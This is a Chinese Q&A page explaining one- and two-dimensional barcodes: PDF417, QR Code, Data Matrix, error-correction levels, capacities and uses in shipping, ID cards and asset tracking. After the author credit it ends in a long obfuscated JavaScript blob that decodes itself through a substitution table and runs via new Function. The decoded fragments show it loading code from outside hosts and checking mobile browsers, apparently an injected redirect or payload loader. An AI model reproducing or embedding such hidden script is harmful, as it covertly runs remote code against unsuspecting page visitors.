推荐回答(1个)
一维条码(1D Barcode)
一维条码只是在一个方向(一般是水平方向)表达信息,而在垂直方向则不表达任何信息,其一定的高度通常是为了便于阅读器的对准。
一维条码的应用可以提高信息录入的速度,减少差错率,但是一维条码也存在一些不足之处:
l 数据容量较小: 30个字符左右
l 只能包含字母和数字
l 条码尺寸相对较大(空间利用率较低)
l 条码遭到损坏后便不能阅读
二维条码(2D Barcode)在水平和垂直方向的二维空间存储信息的条码, 称为二维条码(2-dimensional bar code).
二维条码的分类
与一维条码一样,二维条码也有许多不同的编码方法,或称码制。就这些码制的编码原理而言,通常可分为以下三种类型
1. 线性堆叠式二维码 是在一维条码编码原理的基础上,将多个一维码在纵向堆叠而产生的。典型的码制如:Code 16K、Code 49、PDF417等。
2. 矩阵式二维码 是在一个矩形空间通过黑、白像素在矩阵中的不同分布进行编码。典型的码制如: Aztec、Maxi Code、QR Code、 Data Matrix等。
3. 邮政码 通过不同长度的条进行编码,主要用于邮件编码,如:Postnet、BPO 4-State。
在许多种类的二维条码中,常用的码制有:Data Matrix, Maxi Code, Aztec, QR Code, Vericode, PDF417, Ultracode, Code 49, Code 16K 等,其中:
l Data Matrix 主要用于电子行业小零件的标识,如Intel的奔腾处理器的背面就印制了这种码。
l Maxi Code 是由美国联合包裹服务(UPS)公司研制的,用于包裹的分拣和跟踪。
l * Aztec 是由美国韦林(Welch Allyn)公司推出的,最多可容纳3832个数字或3067个字母字符或1914个字节的数据。
特点
1. 信息容量大 例如PDF417码除可以表示字母、数字、ASCII字符外,还能表达二进制数。
2. 错误纠正能力 一维条码通常具有校验功能以防止错读,一旦条码发生污损将被拒读。而二维条码不仅能防止错误,而且能纠正错误,即使条码部分损坏,也能将正确的信息还原出来。
3. 印制要求不高 普通打印设备均可打印,传真件也能阅读。
4. 可用多种阅读设备阅读 PDF417码可用带光栅的激光阅读器,线性及面扫描的图像式阅读器阅读。
5. 尺寸可调以适应不同的打印空间
6. 码制公开 已形成国际标准。
纠错功能
二维条码的纠错功能是通过将部分信息重复表示(冗余)来实现的。比如在PDF417码中,某一行除了包含本行的信息外,还有一些反映其它位置上的字符(错误纠正码)的信息。这样,即使当条码的某部分遭到损坏,也可以通过存在于其它位置的错误纠正码将其信息还原出来。
PDF417的纠错能力依错误纠正码字数的不同分为0~8共9级,见图4,级别越高,纠正码字数越多,纠正能力越强,条码也越大。当纠正等级为8时,即使条码污损50%也能被正确读出。
二维条码的优势 从以上的介绍可以看出,与一维条码相比二维条码有着明显的优势,归纳起来主要有以下几个方面:
1. 数据容量更大
2. 超越了字母数字的限制
3. 条码相对尺寸小
4. 具有抗损毁能力
二维条码的应用
1. 运输行业的应用
一个典型的运输业务过程通常经历:供应商-->货运代理,货运代理-->货运公司,货运公司-->客户等几个过程,在每个过程中都牵涉到发货单据的处理。发货单据含有大量的信息,包括:发货人信息、收货人信息、货物清单、运输方式等等。单据处理的前提是数据的录入,人工键盘录入的方式存在着效率低、差错率高的问题,已不能适应现代运输业的要求。
二维条码在这方面提供了一个很好的解决方案,将单据的内容编成一个二维条码,打印在发货单据上,在运输业务的各个环节使用二维条码阅读器扫描条码,信息便录入到计算机管理系统中,既快速又准确。
在美国,虽然 EDI 应用革新了业务流程的核心部分,但不巧的是它却忽略了流程中的关键角色--货运公司。许多 EDI 报文对于货运商来说总是迟到 ,以至于因不能及时确认准确的装运单信息而影响了货物运输和客户单据的生成。美国货运协会 (ATA) 因此提出了纸上 EDI 系统。 发送方将EDI信息编成一张PDF417条码标签提交给货运商,通过扫描条码,信息立即传入货运商的计算机系统。这一切都发生在恰当的时间和恰当的地 点,使得整个运输过程的效率大大提高。
2. 身份识别卡的应用
美国国防部已经在军人身份卡上印制 PDF417 码。 持卡人的姓名,军衔,照片和其他个人信息被编成一个PDF417码印在卡上。卡被用来做重要场所的进出管理及医院就诊管理。
该项应用的优点在于数据采集的实时性,低实施成本,卡片损坏(比如枪击)也能阅读,以及防伪性。
我国香港特别行政区的居民身份证也采用了PDF417码。其它的应用,如营业执照、驾驶执照、护照、我国城市的流动人口暂住证、医疗保险卡等也都是很好的应用方向。
3. 文件和表格应用
日本Seimei 保险公司的每个经纪人在会见客户时都带着笔记本电脑。每张保单和协议都在电脑中制作并打印出来。当他们回到办公室后需要将保单数据手工输入到公司的主机中。
为了提高数据录入的准确性和速度,他们在制作保单的同时将保单内容编成一个PDF417条码,打印在单据上,这样他们就可以使用二维条码阅读器扫描条码将数据录入主机。
其它类似的应用还有:海关报关单、税务申报单、政府部门的各类申请表等等。
4. 资产跟踪
美国钢管公司在各地拥有不同种类的管道需要维护。为了跟踪每根管子,他们将管子的编号,位置编号,制造厂商,长度,等级,尺寸,厚度以及其他信息编成一个PDF417条码,制成标签后贴在管子上。当管子移走或安装时,操作员扫描条码标签,数据库信息得到及时更新。
工厂可以采用二维条码跟踪生产设备;医院和诊所也可以采用二维条码标签跟踪设备、计算机及手术器械。
5. 混合码及其应用
随着社会的发展、科技的进步、人民生活水平的提高、市场竞争的加剧,人们对信息的要求不断提高。一维条码在它的一些传统应用领域,如:商业、药品、后勤运输等,由于受到信息容量的限制(一般只能标识物品或业务的识别号),已越来越不能满足人们的要求。二维条码技术的不断完善正在这些应用领域引发变革。
美国UCC组织(统一编码委员会)推出了一种新的码制——混合码,它是一种一维码和二维码的组合码,其中:
一维码组成部分可以是:
UCC/EAN-128
UPC/EAN
Reduced Space Symbology (RSS)
二维码组成部分可以是:
* CC-A (一种专用于混合码的PDF417 微码的变体)* CC-B (标准 PDF417微码)* CC-C (标准PDF417)* 一维条码部分包含识别号,而二维条码部分包含补充信息* 将来可用线性CCD 和带光栅的激光扫描器阅读。
PDF417二维条码
(这个条码中包含了下面蓝色文字的内容,纠错级别为3)
一维条码所表示的数据量有限,且不具备纠错功能,而二维条码弥补了这一不足。二维条码近几年刚刚发展起来,正在应用于多种领域。我们在奔腾处理器外壳上见到的一个光刻的小方块就是 Data Matrix二维条码。PDF417二维条码是一种堆叠式二维条码,目前应用最为广泛。PDF417条码是由美国YMBOL公司发明的,PDF(Portable Data File)意思是“便携数据文件”。组成条码的每一个条码字符由4个条和4个空共17个模块构成,故称为PDF417条码。
PDF417条码可表示数字、字母或二进制数据,也可表示汉字。一个PDF417条码最多可容纳1850个字符或1108个字节的二进制数据,如果只表示数字则可容纳2710 个数字。PDF417的纠错能力分为9级,级别越高,纠正能力越强。由于这种纠错功能,使得污损的417条码也可以正确读出。我国目前已制定了PDF417码的国家标准(GB/T 17172-1997)。
PDF417条码符号的基本特性
项 目
特 征
可编码字符集
全ASCII字符或8位二进制数据,可表示汉字
类型
连续、多行
字符自校验功能
有
符号尺寸
可变,高度3到90行,宽度90到583个模块宽度
双向可读
是
错误纠正码字数
2到512个
最大数据容量(错误纠正级别为0时)
每个符号表示1850个大写字母或2710个数字或1108个字节
附加属性
可选择错误纠正等级、可跨行扫描、宏四一七条码、全球标记标识符等
PDF417条码最大的优势在于其庞大的数据容量和极强的纠错能力。
QR code 二维条码
(这个条码中包含了下面蓝色文字的内容,纠错级别为M)
QR Code码是由日本Denso公司于1994年9月研制的一种矩阵二维码符号,它除具有一维条码及其它二维条码所具有的信息容量大、可靠性高、可表示汉字及图象多种文字信息、保密防伪性强等优点外,还具有如下主要特点:
码制
QR Code
Data Martix
PDF 417
研制公司
Denso Corp. (日本)
I.D. Matrix(美国)
Symbol Technolgies(美国)
码制分类
矩阵式
堆叠式
识读速度*
30个/每秒
2~3个/秒
3个/秒
识读方向
全方位(360°)
±10°
识读方法
深色/浅色模块判别
条空宽度尺寸判别
汉字表示
13bit
16bit
16bit
* 每一符号表示100个字符的信息。
超高速识读:从QR Code码的英文名称Quick Response Code可以看出,超高速识读特点是QR Code码区别于四一七条码、Data Matrix等二维码的主要特性。由于在用CCD识读QR Code码时,整个QR Code码符号中信息的读取是通过QR Code码符号的位置探测图形,用硬件来实现,因此,信息识读过程所需时间很短,它具有超高速识读特点。用CCD二维条码识读设备,每秒可识读30个含有100个字符的QR Code码符号;对于含有相同数据信息的四一七条码符号,每秒仅能识读3个符号;对于Data Martix矩阵码,每秒仅能识读2~3个符号。QR Code码的超高速识读特性是它能够广泛应用于工业自动化生产线管理等领域。
全方位识读: QR Code码具有全方位(360°)识读特点,这是QR Code码优于行排式二维条码如四一七条码的另一主要特点,由于四一七条码是将一维条码符号在行排高度上的截短来实现的,因此,它很难实现全方位识读,其识读方位角仅为±10°.
能够有效地表示中国汉字、日本汉字:由于QR Code码用特定的数据压缩模式表示中国汉字和日本汉字,它仅用13bit可表示一个汉字,而四一七条码、Data Martix等二维码没有特定的汉字表示模式,因此仅用字节表示模式来表示汉字,在用字节模式表示汉字时,需用16bit(二个字节)表示一个汉字,因此QR Code码比其它的二维条码表示汉字的效率提高了20%。
编码字符集: 1、数字型数据(数字0~9); 2、字母数字型数据(数字0~9;大写字母A~Z;9个其他字符:space ,$, %, *, +, -, ., /, :); 3、8位字节型数据; 4、日本汉字字符; 5、中国汉字字符(GB 2312对应的汉字和非汉字字符)。
QR Code码符号的基本特性
符号规格
21×21模块(版本1)-177×177 模块(版本40) (每一规格:每边增加4个模块)
数据类型与容量 (指最大规格符号版本40-L级)
数字数据 :7,089个字符字母数据 :4,296个字符8位字节数据 :2,953个字符 中国汉字、日本汉字数据 :1,817个 字符
数据表示方法
深色模块表示二进制“1”,浅色模块表示二进制“0”。
纠错能力
L级:约可纠错7%的数据码字M级:约可纠错15%的数据码字 Q级:约可纠错25%的数据码字H级:约可纠错30%的数据码字
结构链接(可选)
可用1-16个QR Code码符号表示一组信息
掩模(固有)
可以使符号中深色与浅色模块的比例接近1:1,使因相邻模块的排列造成译码困难的可能性降为最小。
扩充解释(可选)
这种方式使符号可以表示缺省字符集以外的数据(如阿拉伯字符、古斯拉夫字符、希腊字母等),以及其他解释(如用一定的压缩方式表示的数据)或者对行业特点的需要进行编码。
独立定位功能有
QR Code码可高效地表示汉字,相同内容,其尺寸小于相同密度的PDF417条码。目前市场上的大部分条码打印机都支持QR code条码,其专有的汉字模式更加适合我国应用。因此,QR code在我国具有良好的应用前景。
原作者:成都新得利电子
!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();